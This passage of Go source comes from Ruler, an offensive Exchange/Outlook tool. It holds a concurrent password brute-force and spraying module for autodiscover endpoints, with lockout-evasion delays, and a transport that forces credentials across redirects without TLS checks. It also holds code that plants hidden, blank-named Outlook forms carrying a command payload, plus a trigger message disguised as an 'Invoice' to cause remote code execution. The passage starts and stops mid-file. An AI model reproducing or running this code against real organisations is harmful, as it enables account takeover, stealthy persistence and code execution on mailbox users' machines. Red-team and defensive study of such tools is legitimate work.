{ 380 | //for office365 we might need to use a different email address, try this 381 | if resp.StatusCode == 401 && secondaryEmail != "" { 382 | utils.Trace.Printf("Authentication failed with primary email, trying secondary email [%s]\n", secondaryEmail) 383 | SessionConfig.Email = secondaryEmail 384 | return autodiscover(domain, mapi) 385 | } 386 | if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true { 387 | return nil, "", fmt.Errorf("Failed to authenticate: StatusCode [%d]\n", resp.StatusCode) 388 | } 389 | if autodiscoverStep < 2 { 390 | autodiscoverStep++ 391 | return autodiscover(domain, mapi) 392 | } 393 | return nil, "", fmt.Errorf("Permission Denied or URL not found: StatusCode [%d]\n", resp.StatusCode) 394 | } 395 | if SessionConfig.Verbose == true { 396 | utils.Error.Printf("Failed, StatusCode [%d]\n", resp.StatusCode) 397 | } 398 | if autodiscoverStep < 2 { 399 | autodiscoverStep++ 400 | return autodiscover(domain, mapi) 401 | } 402 | return nil, "", fmt.Errorf("Got an unexpected result: StatusCode [%d] %s\n", resp.StatusCode, body) 403 | } 404 | 405 | func redirectAutodiscover(redirdom string) (string, error) { 406 | utils.Trace.Printf("Redirected with new address [%s]\n", redirdom) 407 | //create the autodiscover url 408 | autodiscoverURL := fmt.Sprintf("http://autodiscover.%s/autodiscover/autodiscover.xml", redirdom) 409 | req, _ := http.NewRequest("GET", autodiscoverURL, nil) 410 | var DefaultTransport = &Transport 411 | resp, err := DefaultTransport.RoundTrip(req) 412 | if err != nil { 413 | return "", err 414 | } 415 | defer resp.Body.Close() 416 | utils.Trace.Printf("Authenticating through: %s\n", string(resp.Header.Get("Location"))) 417 | //return the new autodiscover server location 418 | return resp.Header.Get("Location"), nil 419 | } 420 | 421 | //InsecureRedirectsO365 allows forwarding the Authorization header even when we shouldn't 422 | type InsecureRedirectsO365 struct { 423 | Transport http.RoundTripper 424 | User string 425 | Pass string 426 | Insecure bool 427 | } 428 | 429 | //RoundTrip custom redirector that allows us to forward the auth header, even when the domain changes. 430 | //This is needed as some office365 domains will redirect from autodiscover.domain.com to autodiscover.outlook.com 431 | //and Go does not forward Sensitive headers such as Authorization (https://golang.org/src/net/http/client.go#41) 432 | func (l InsecureRedirectsO365) RoundTrip(req *http.Request) (resp *http.Response, err error) { 433 | t := l.Transport 434 | 435 | if t == nil { 436 | t = &Transport 437 | } 438 | resp, err = t.RoundTrip(req) 439 | if err != nil { 440 | return 441 | } 442 | switch resp.StatusCode { 443 | case http.StatusMovedPermanently, http.StatusFound, http.StatusSeeOther, http.StatusTemporaryRedirect: 444 | 445 | utils.Trace.Printf("Request for %s redirected. Following to %s\n", req.URL, resp.Header.Get("Location")) 446 | 447 | URL, _ := url.Parse(resp.Header.Get("Location")) 448 | r, _ := parseTemplate(autodiscoverXML) 449 | //if the domains are different, we need to force the auth cookie to be passed along.. this is for redirects to office365 450 | client := http.Client{Transport: &http.Transport{ 451 | TLSClientConfig: &tls.Config{InsecureSkipVerify: l.Insecure}, 452 | }} 453 | 454 | req, err = http.NewRequest("POST", URL.String(), strings.NewReader(r)) 455 | req.Header.Add("Content-Type", "text/xml") 456 | req.Header.Add("User-Agent", "ruler") 457 | 458 | req.Header.Add("X-MapiHttpCapability", "1") //we want MAPI info 459 | req.Header.Add("X-AnchorMailbox", l.User) //we want MAPI info 460 | 461 | req.URL, _ = url.Parse(resp.Header.Get("Location")) 462 | req.SetBasicAuth(l.User, l.Pass) 463 | 464 | resp, err = client.Do(req) 465 | 466 | } 467 | return 468 | } 469 | -------------------------------------------------------------------------------- /autodiscover/brute.go: -------------------------------------------------------------------------------- 1 | package autodiscover 2 | 3 | import ( 4 | "crypto/tls" 5 | "fmt" 6 | "io/ioutil" 7 | "net/http" 8 | "net/http/cookiejar" 9 | "regexp" 10 | "strings" 11 | "time" 12 | "net/url" 13 | 14 | "github.com/sensepost/ruler/http-ntlm" 15 | "github.com/sensepost/ruler/utils" 16 | ) 17 | 18 | //Result struct holds the result of a bruteforce attempt 19 | type Result struct { 20 | Username string 21 | Password string 22 | Index int 23 | Status int 24 | Error error 25 | } 26 | 27 | var concurrency = 3 //limit the number of consecutive attempts 28 | 29 | var delay = 5 30 | var consc = 3 31 | var usernames []string 32 | var passwords []string 33 | var userpass []string 34 | var autodiscoverURL string 35 | var basic = false 36 | var verbose = false 37 | var insecure = false 38 | var stopSuccess = false 39 | var proxyURL string 40 | var user_as_pass = true 41 | 42 | func autodiscoverDomain(domain string) string { 43 | var autodiscoverURL string 44 | 45 | //check if this is just a domain or a redirect (starts with http[s]://) 46 | if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true { 47 | autodiscoverURL = domain 48 | utils.Info.Printf("Using end-point: %s\n", domain) 49 | } else { 50 | //create the autodiscover url 51 | if autodiscoverStep == 0 { 52 | utils.Info.Println("Trying to Autodiscover domain") 53 | autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true) 54 | utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) 55 | if autodiscoverURL == "" { 56 | autodiscoverStep++ 57 | } 58 | } 59 | if autodiscoverStep == 1 { 60 | autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) 61 | utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) 62 | if autodiscoverURL == "" { 63 | autodiscoverStep++ 64 | } 65 | } 66 | if autodiscoverStep == 2 { 67 | autodiscoverURL = createAutodiscover(domain, true) 68 | utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) 69 | if autodiscoverURL == "" { 70 | return "" 71 | } 72 | } 73 | } 74 | 75 | req, err := http.NewRequest("GET", autodiscoverURL, nil) 76 | req.Header.Add("Content-Type", "text/xml") 77 | 78 | tr := &http.Transport{ 79 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 80 | } 81 | 82 | if proxyURL != "" { 83 | proxy, err := url.Parse(proxyURL) 84 | if err != nil { 85 | return "" 86 | } 87 | tr = &http.Transport{Proxy: http.ProxyURL(proxy), 88 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 89 | } 90 | } 91 | 92 | client := http.Client{Transport: tr} 93 | 94 | resp, err := client.Do(req) 95 | 96 | if err != nil { 97 | if autodiscoverStep < 2 { 98 | autodiscoverStep++ 99 | return autodiscoverDomain(domain) 100 | } 101 | return "" 102 | } 103 | 104 | //check if we got prompted for authentication, this is normally an indicator of a valid endpoint 105 | if resp.StatusCode == 401 || resp.StatusCode == 403 { 106 | return autodiscoverURL 107 | } 108 | if autodiscoverStep < 2 { 109 | autodiscoverStep++ 110 | return autodiscoverDomain(domain) 111 | } 112 | return "" 113 | } 114 | 115 | //Init function to setup the brute-force session 116 | func Init(domain, usersFile, passwordsFile, userpassFile, pURL string, b, i, s, v bool, c, d, t int) error { 117 | stopSuccess = s 118 | insecure = i 119 | basic = b 120 | verbose = v 121 | delay = d 122 | consc = c 123 | concurrency = t 124 | proxyURL = pURL 125 | 126 | autodiscoverURL = autodiscoverDomain(domain) 127 | 128 | if autodiscoverURL == "" { 129 | return fmt.Errorf("No autodiscover end-point found") 130 | } 131 | 132 | 133 | if autodiscoverURL == "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" { 134 | basic = true 135 | } 136 | 137 | if userpassFile != "" { 138 | userpass = readFile(userpassFile) 139 | if userpass == nil { 140 | return fmt.Errorf("Unable to read userpass file") 141 | } 142 | return nil 143 | } 144 | usernames = readFile(usersFile) 145 | if usernames == nil { 146 | return fmt.Errorf("Unable to read usernames file") 147 | } 148 | passwords = readFile(passwordsFile) 149 | if passwords == nil { 150 | return fmt.Errorf("Unable to read passwords file") 151 | } 152 | 153 | return nil 154 | } 155 | 156 | //BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL 157 | //And whether to stop on success 158 | func BruteForce() { 159 | 160 | attempts := 0 161 | stp := false 162 | 163 | for index, p := range passwords { 164 | if index % 10 == 0 { 165 | utils.Info.Printf("%d of %d passwords checked",index,len(passwords)) 166 | } 167 | if p != "" { 168 | attempts++ 169 | } 170 | sem := make(chan bool, concurrency) 171 | 172 | for ui, u := range usernames { 173 | if u == "" || p == "" { 174 | continue 175 | } 176 | 177 | time.Sleep(time.Millisecond * 500) //lets not flood it 178 | 179 | sem <- true 180 | 181 | go func(u string, p string, i int) { 182 | defer func() { <-sem }() 183 | out := connect(autodiscoverURL, u, p, basic, insecure) 184 | out.Index = i 185 | 186 | if verbose == true && out.Status != 200 { 187 | utils.Fail.Printf("Failed: %s:%s\n", out.Username, out.Password) 188 | if out.Error != nil { 189 | utils.Error.Printf("An error occured in connection - %s\n", out.Error) 190 | } 191 | } 192 | if out.Status == 200 { 193 | utils.Info.Printf("\033[96mSuccess: %s:%s\033[0m\n", out.Username, out.Password) 194 | //remove username from username list (we don't need to brute something we know) 195 | usernames = append(usernames[:out.Index], usernames[out.Index+1:]...) 196 | if stopSuccess == true { 197 | stp = true 198 | } 199 | } 200 | }(u, p, ui) 201 | 202 | } 203 | if stp == true { 204 | return 205 | } 206 | for i := 0; i < cap(sem); i++ { 207 | sem <- true 208 | } 209 | 210 | if attempts == consc { 211 | utils.Info.Printf("\033[31mMultiple attempts. To prevent lockout - delaying for %d minutes.\033[0m\n", delay) 212 | time.Sleep(time.Minute * (time.Duration)(delay)) 213 | attempts = 0 214 | } 215 | } 216 | 217 | if user_as_pass { 218 | sem := make(chan bool, concurrency) 219 | 220 | for ui, u := range usernames { 221 | 222 | time.Sleep(time.Millisecond * 500) //lets not flood it 223 | 224 | sem <- true 225 | 226 | go func(u string, p string, i int) { 227 | defer func() { <-sem }() 228 | out := connect(autodiscoverURL, u, p, basic, insecure) 229 | out.Index = i 230 | 231 | if verbose == true && out.Status != 200 { 232 | utils.Fail.Printf("Failed: %s:%s\n", out.Username, out.Password) 233 | if out.Error != nil { 234 | utils.Error.Printf("An error occured in connection - %s\n", out.Error) 235 | } 236 | } 237 | if out.Status == 200 { 238 | utils.Info.Printf("\033[96mSuccess: %s:%s\033[0m\n", out.Username, out.Password) 239 | //remove username from username list (we don't need to brute something we know) 240 | usernames = append(usernames[:out.Index], usernames[out.Index+1:]...) 241 | if stopSuccess == true { 242 | stp = true 243 | } 244 | } 245 | }(u, u, ui) 246 | } 247 | } 248 | } 249 | 250 | //UserPassBruteForce function does a bruteforce using a supplied user:pass file 251 | func UserPassBruteForce() { 252 | 253 | count := 0 254 | sem := make(chan bool, concurrency) 255 | stp := false 256 | for index, up := range userpass { 257 | if index % 10 == 0 { 258 | utils.Info.Printf("%d of %d checked",index,len(userpass)) 259 | } 260 | count++ 261 | if up == "" { 262 | continue 263 | } 264 | // verify colon-delimited username:password format 265 | s := strings.SplitN(up, ":", 2) 266 | if len(s) < 2 { 267 | utils.Fail.Printf("Skipping improperly formatted entry at line %d\n", count) 268 | continue 269 | } 270 | u, p := s[0], s[1] 271 | count = 0 272 | 273 | //skip blank username 274 | if u == "" { 275 | continue 276 | } 277 | 278 | time.Sleep(time.Millisecond * 500) //lets not flood it 279 | 280 | sem <- true 281 | 282 | go func(u string, p string) { 283 | defer func() { <-sem }() 284 | out := connect(autodiscoverURL, u, p, basic, insecure) 285 | if verbose == true && out.Status != 200 { 286 | utils.Fail.Printf("Failed: %s:%s\n", out.Username, out.Password) 287 | if out.Error != nil { 288 | utils.Error.Printf("An error occured in connection - %s\n", out.Error) 289 | } 290 | } 291 | if out.Status == 200 { 292 | utils.Info.Printf("\033[96mSuccess: %s:%s\033[0m\n", out.Username, out.Password) 293 | } 294 | if out.Status == 200 && stopSuccess == true { 295 | stp = true 296 | } 297 | }(u, p) 298 | 299 | } 300 | if stp == true { 301 | return 302 | } 303 | for i := 0; i < cap(sem); i++ { 304 | sem <- true 305 | } 306 | } 307 | 308 | func readFile(filename string) []string { 309 | var outputs []string 310 | 311 | data, err := ioutil.ReadFile(filename) 312 | if err != nil { 313 | utils.Error.Println("Input file not found") 314 | return nil 315 | } 316 | 317 | for _, line := range strings.Split(string(data), "\n") { 318 | outputs = append(outputs, line) 319 | } 320 | return outputs 321 | } 322 | 323 | func connect(autodiscoverURL, user, password string, basic, insecure bool) Result { 324 | result := Result{user, password, -1, -1, nil} 325 | 326 | cookie, _ := cookiejar.New(nil) 327 | 328 | tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 329 | DisableKeepAlives: true, //should fix mutex issues 330 | } 331 | if proxyURL != "" { 332 | proxy, err := url.Parse(proxyURL) 333 | if err != nil { 334 | result.Error = err 335 | return result 336 | } 337 | tr = &http.Transport{Proxy: http.ProxyURL(proxy), 338 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 339 | DisableKeepAlives: true, 340 | } 341 | } 342 | client := http.Client{Transport: tr} 343 | 344 | if basic == false { 345 | //check if this is a first request or a redirect 346 | //create an ntml http client 347 | client = http.Client{ 348 | Transport: &httpntlm.NtlmTransport{ 349 | Domain: "", 350 | User: user, 351 | Password: password, 352 | Insecure: insecure, 353 | CookieJar: cookie, 354 | }, 355 | } 356 | } 357 | 358 | req, err := http.NewRequest("GET", autodiscoverURL, nil) 359 | req.Header.Add("Content-Type", "text/xml") 360 | 361 | //if basic authi is required, set auth header 362 | if basic == true { 363 | req.SetBasicAuth(user, password) 364 | } 365 | 366 | resp, err := client.Do(req) 367 | 368 | if err != nil { 369 | //check if this error was because of ntml auth when basic auth was expected. 370 | if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true { 371 | client = http.Client{Transport: InsecureRedirectsO365{User: user, Pass: password, Insecure: insecure}} 372 | resp, err = client.Do(req) 373 | if err != nil { 374 | result.Error = err 375 | return result 376 | } 377 | } else { 378 | 379 | result.Error = err 380 | return result 381 | } 382 | 383 | } 384 | if resp != nil { 385 | defer resp.Body.Close() 386 | } 387 | result.Status = resp.StatusCode 388 | return result 389 | } 390 | -------------------------------------------------------------------------------- /forms/rulerforms.go: -------------------------------------------------------------------------------- 1 | package forms 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "fmt" 7 | "os" 8 | "strings" 9 | 10 | "github.com/sensepost/ruler/mapi" 11 | "github.com/sensepost/ruler/utils" 12 | ) 13 | 14 | //CreateFormAttachmentPointer creates the first attachment that holds info about the new form 15 | func CreateFormAttachmentPointer(folderid, messageid []byte) error { 16 | utils.Info.Println("Create Form Pointer Attachment") 17 | data := []byte("FormStg=%d\\FS525C.tmp\nMsgCls=IPM.Note.grr\nBaseMsgCls=IPM.Note\n") //don't think this is strictly necessary 18 | data = append(data, []byte{0x00}...) 19 | attachmentPropertyTags := make([]mapi.TaggedPropertyValue, 4) 20 | attachmentPropertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagAttachMethod, PropertyValue: []byte{0x01, 0x00, 0x00, 0x00}} 21 | attachmentPropertyTags[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagRenderingPosition, PropertyValue: []byte{0xFF, 0xFF, 0xFF, 0xFF}} 22 | attachmentPropertyTags[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6900, PropertyValue: []byte{0x02, 0x00, 0x01, 0x00}} //prop value used by PidTagOfflineAddressBookTruncatedProps 23 | attachmentPropertyTags[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6902, PropertyValue: data} 24 | res, err := mapi.CreateMessageAttachment(folderid, messageid, attachmentPropertyTags) 25 | 26 | if err != nil { 27 | return err 28 | } 29 | //write the payload data to the attachment 30 | _, err = mapi.WriteAttachmentProperty(folderid, messageid, res.AttachmentID, mapi.PidTagAttachDataBinary, data) 31 | return err 32 | } 33 | 34 | //CreateFormAttachmentTemplate creates the template attachment holding the actual command to execute 35 | func CreateFormAttachmentTemplate(folderid, messageid []byte, pstr string) error { 36 | return CreateFormAttachmentWithTemplate(folderid, messageid, pstr, "templates/formtemplate.bin") 37 | } 38 | 39 | //CreateFormAttachmentForDeleteTemplate creates the template attachment holding the actual command to execute 40 | func CreateFormAttachmentForDeleteTemplate(folderid, messageid []byte, pstr string) error { 41 | return CreateFormAttachmentWithTemplate(folderid, messageid, pstr, "templates/formdeletetemplate.bin") 42 | } 43 | 44 | //CreateFormAttachmentWithTemplate creates a form with a specific template 45 | func CreateFormAttachmentWithTemplate(folderid, messageid []byte, pstr, templatepath string) error { 46 | utils.Info.Println("Create Form Template Attachment") 47 | 48 | attachmentPropertyTags := make([]mapi.TaggedPropertyValue, 4) 49 | attachmentPropertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagAttachMethod, PropertyValue: []byte{0x01, 0x00, 0x00, 0x00}} //attach directly 50 | attachmentPropertyTags[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagRenderingPosition, PropertyValue: []byte{0xFF, 0xFF, 0xFF, 0xFF}} 51 | attachmentPropertyTags[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagAttachFilename, PropertyValue: utils.UniString("FS525C.tmp")} //a fake file name. this could probably be used as a mini signature ;) 52 | attachmentPropertyTags[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6900, PropertyValue: []byte{0x02, 0x00, 0x01, 0x00}} //this is the prop that seems to be used in the PidTagOfflineAddressBookTruncatedProps 53 | res, _ := mapi.CreateMessageAttachment(folderid, messageid, attachmentPropertyTags) 54 | 55 | //read the template file for our payload 56 | datafull, err := utils.ReadFile(templatepath) 57 | if err != nil { 58 | utils.Error.Println(err) 59 | if os.IsNotExist(err) { 60 | utils.Error.Println("Couldn't find formtemplate.bin. Ensure that this is present at `PWD`/templates/formtemplate.bin") 61 | } 62 | return err 63 | } 64 | 65 | //find index of MAGIC - our marker where we place the payload 66 | index := -1 67 | for k := 0; k < len(datafull)-5; k++ { 68 | v := datafull[k : k+5] 69 | if bytes.Equal(v, []byte{0x4D, 0x41, 0x47, 0x49, 0x43}) { 70 | index = k 71 | break 72 | } 73 | } 74 | if index == -1 { 75 | return fmt.Errorf("Couldn't find MAGIC string in template. Ensure you have a valid template.") 76 | } 77 | //create our payload 78 | payload := utils.UniString(pstr) //convert to Unicode string 79 | payload = payload[:len(payload)-2] //get rid of null byte 80 | remainder := 4096 - len(pstr) //calculate the length of our padding. 81 | rpr := utils.UniString(strings.Repeat(" ", remainder)) //generate padding 82 | payload = append(payload, rpr[:len(rpr)-2]...) //append padding (with null byte removed) to payload 83 | data := append([]byte{}, datafull[:index]...) //create new array with our template up to the index. doing it this way to force new array creation 84 | data = append(data, payload...) // append our payload+padding 85 | data = append(data, datafull[index+5:]...) //and append what is remaining of the template 86 | 87 | //write the template data into the attachment data field 88 | _, err = mapi.WriteAttachmentProperty(folderid, messageid, res.AttachmentID, mapi.PidTagAttachDataBinary, data) 89 | return err 90 | } 91 | 92 | //CreateFormMessage creates the associate message that holds the form data 93 | func CreateFormMessage(suffix, assocRule string) ([]byte, error) { 94 | folderid := mapi.AuthSession.Folderids[mapi.INBOX] 95 | propertyTagx := make([]mapi.TaggedPropertyValue, 10) 96 | var err error 97 | 98 | propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageClass, PropertyValue: utils.UniString("IPM.Microsoft.FolderDesign.FormsDescription")} 99 | propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookName, PropertyValue: utils.UniString(fmt.Sprintf("IPM.Note.%s", suffix))} 100 | propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookTruncatedProps, PropertyValue: []byte{0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x05, 0x00, 0x01, 0x00}} 101 | propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookLangID, PropertyValue: []byte{0x00, 0x00, 0x00, 0x00}} 102 | propertyTagx[4] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookFileType, PropertyValue: []byte{0x00}} 103 | propertyTagx[5] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagDisplayName, PropertyValue: utils.UniString(" ")} //Keep the name "invisible" - there will be an entry in the UI but it will be appear blank - since it's simply a space 104 | propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0xFF}} //set to true for form to be hidden :) 105 | propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6830, PropertyValue: append([]byte("&Open"), []byte{0x00}...)} 106 | propertyTagx[8] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagComment, PropertyValue: utils.UniString(assocRule)} //set this to indicate that a rule is present for this form 107 | propertyTagx[9] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagHidden, PropertyValue: []byte{0x01}} 108 | 109 | //create the message in the "associated" contents table for the inbox 110 | msg, err := mapi.CreateAssocMessage(folderid, propertyTagx) 111 | 112 | if err != nil { 113 | return nil, err 114 | } 115 | 116 | propertyTagx = make([]mapi.TaggedPropertyValue, 5) 117 | data := utils.EncodeNum(uint32(2)) //COUNT as a uint32 instead of the usual uint16 118 | data = append(data, utils.EncodeNum(uint64(281487861678082))...) //static 119 | data = append(data, utils.EncodeNum(uint64(281496451612674))...) //static 120 | propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag682C, PropertyValue: data} 121 | data = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} 122 | propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6831, PropertyValue: append(utils.COUNT(len(data)), data...)} 123 | data = []byte{0x0C, 0x0D, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00} 124 | propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6832, PropertyValue: append(utils.COUNT(len(data)), data...)} 125 | propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6B00, PropertyValue: append([]byte("1112110010000000"), []byte{0x00}...)} 126 | 127 | data, err = utils.ReadFile("templates/img0.bin") 128 | if err != nil { 129 | utils.Error.Println(err) 130 | if os.IsNotExist(err) { 131 | utils.Error.Println("Couldn't find img0.bin. Ensure that this is present at `PWD`/templates/img0.bin") 132 | } 133 | return nil, err 134 | } 135 | //the small icon for the message 136 | propertyTagx[4] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6823, PropertyValue: append(utils.COUNT(len(data)), data...)} 137 | if _, err = mapi.SetMessageProperties(folderid, msg.MessageID, propertyTagx); err != nil { 138 | return nil, err 139 | } 140 | 141 | propertyTagx = make([]mapi.TaggedPropertyValue, 4) 142 | data, err = utils.ReadFile("templates/img1.bin") 143 | if err != nil { 144 | utils.Error.Println(err) 145 | if os.IsNotExist(err) { 146 | utils.Error.Println("Couldn't find img1.bin. Ensure that this is present at `PWD`/templates/img1.bin") 147 | } 148 | return nil, err 149 | } 150 | //the large icon for the message 151 | propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6824, PropertyValue: append(utils.COUNT(len(data)), data...)} 152 | propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6827, PropertyValue: append([]byte("en"), []byte{0x00}...)} //Set language value 153 | propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABCompressedSize, PropertyValue: []byte{0x20, 0xF0, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}} //fixed value, not sure how this is calculated or if it can be kept static. 154 | propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABDN, PropertyValue: utils.CookieGen()} //generate a random GUID 155 | 156 | _, err = mapi.SetMessageProperties(folderid, msg.MessageID, propertyTagx) 157 | 158 | return msg.MessageID, err 159 | } 160 | 161 | //CreateFormTriggerMessage creates a valid message to trigger RCE through an existing form 162 | //requires a valid suffix to be supplied 163 | func CreateFormTriggerMessage(suffix, subject, body string) ([]byte, error) { 164 | folderid := mapi.AuthSession.Folderids[mapi.INBOX] 165 | propertyTagx := make([]mapi.TaggedPropertyValue, 8) 166 | 167 | propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageClass, PropertyValue: utils.UniString(fmt.Sprintf("IPM.Note.%s", suffix))} 168 | propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagConversationTopic, PropertyValue: utils.UniString("Invoice")} 169 | propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagIconIndex, PropertyValue: []byte{0x00, 0x00, 0x00, 0x01}} 170 | propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageEditorFormat, PropertyValue: []byte{0x02, 0x00, 0x00, 0x00}} 171 | propertyTagx[4] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagNativeBody, PropertyValue: []byte{0x00, 0x00, 0x00, 0x03}} 172 | propertyTagx[5] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSubject, PropertyValue: utils.UniString(subject)} 173 | propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagNormalizedSubject, PropertyValue: utils.UniString(subject)} 174 | propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagDeleteAfterSubmit, PropertyValue: []byte{0x01}} 175 | 176 | msg, er := mapi.CreateMessage(folderid, propertyTagx) //create the message 177 | if er != nil { 178 | return nil, er 179 | } 180 | 181 | bodyv := string(append([]byte{0x41, 0x41}, []byte(body)...)) 182 | bodyProp := mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagBody, PropertyValue: utils.UniString(bodyv)} 183 | if _, er := mapi.SetPropertyFast(folderid, msg.MessageID, bodyProp); er != nil { 184 | return nil, er 185 | } 186 | return msg.MessageID, nil 187 | } 188 | 189 | //DeleteForm is used to delete a specific form stored in an associated table 190 | func DeleteForm(suffix string, folderid []byte) ([]byte, error) { 191 | 192 | columns := make([]mapi.PropertyTag, 3) 193 | columns[0] = mapi.PidTagOfflineAddressBookName 194 | columns[1] = mapi.PidTagMid 195 | columns[2] = mapi.PidTagComment 196 | 197 | assoctable, err := mapi.GetAssociatedContents(folderid, columns) 198 | if err != nil { 199 | return nil, err 200 | } 201 | var foundMsgID []byte 202 | var hasRule string 203 | for k := 0; k < len(assoctable.RowData); k++ { 204 | if assoctable.RowData[k][0].Flag != 0x00 { 205 | continue 206 | } 207 | name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray) 208 | messageid := assoctable.RowData[k][1].ValueArray 209 | if name != "" && name == fmt.Sprintf("IPM.Note.%s", suffix) { 210 | foundMsgID = messageid 211 | hasRule = utils.FromUnicode(assoctable.RowData[k][2].ValueArray) 212 | break 213 | } 214 | } 215 | if len(foundMsgID) == 0 { 216 | return nil, fmt.Errorf("No form with supplied suffix found!") 217 | } 218 | 219 | //delete the message 220 | if _, err = mapi.DeleteMessages(folderid, 1, foundMsgID); err != nil { 221 | return nil, err 222 | } 223 | 224 | utils.Info.Println("Form deleted successfully.") 225 | 226 | if hasRule != "NORULE" && hasRule != "" { 227 | utils.Question.Print("The form has an associated rule, delete this? [y/N]: ") 228 | reader := bufio.NewReader(os.Stdin) 229 | ans, _ := reader.ReadString('\n') 230 | if ans == "y\n" || ans == "Y\n" || ans == "yes\n" { 231 | rules, er := mapi.DisplayRules() 232 | if er != nil { 233 | return nil, er 234 | } 235 | for _, v := range rules { 236 | if utils.FromUnicode(v.RuleName) == hasRule { 237 | ruleid := v.RuleID 238 | err = mapi.ExecuteMailRuleDelete(ruleid) 239 | if err != nil { 240 | utils.Error.Printf("Failed to delete rule") 241 | return nil, err 242 | } 243 | utils.Info.Println("Rule deleted successfully") 244 | } 245 | } 246 | } else { 247 | utils.Info.Printf("Rule not deleted. To delete rule, use rule name [%s]\n", hasRule) 248 | } 249 | } 250 | 251 | return nil, nil 252 | } 253 | 254 | //DisplayForms is used to display all forms in the specified folder 255 | func DisplayForms(folderid []byte) error { 256 | 257 | columns := make([]mapi.PropertyTag, 2) 258 | columns[0] = mapi.PidTagOfflineAddressBookName 259 | columns[1] = mapi.PidTagMid 260 | assoctable, err := mapi.GetAssociatedContents(folderid, columns) 261 | if err != nil { 262 | return err 263 | } 264 | var forms []string 265 | 266 | for k := 0; k < len(assoctable.RowData); k++ { 267 | if assoctable.RowData[k][0].Flag != 0x00 { 268 | continue 269 | } 270 | name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray) 271 | if name != "" && len(name) > 3 { 272 | forms = append(forms, name) 273 | } 274 | } 275 | if len(forms) > 0 { 276 | utils.Info.Printf("Found %d forms\n", len(forms)) 277 | for _, v := range forms { 278 | utils.Info.Println(v) 279 | } 280 | } else { 281 | utils.Info.Printf("No Forms Found\n") 282 | } 283 | 284 | return nil 285 | } 286 | 287 | //CheckForm verfies that a form does not already exist. 288 | //having multiple forms with same suffix causes issues in outlook.. 289 | func CheckForm(folderid []byte, suffix string) error { 290 | columns := make([]mapi.PropertyTag, 2) 291 | columns[0] = mapi.PidTagOfflineAddressBookName 292 | columns[1] = mapi.PidTagMid 293 | 294 | assoctable, err := mapi.GetAssociatedContents(folderid, columns) 295 | if err != nil { 296 | return err 297 | } 298 | 299 | formname := 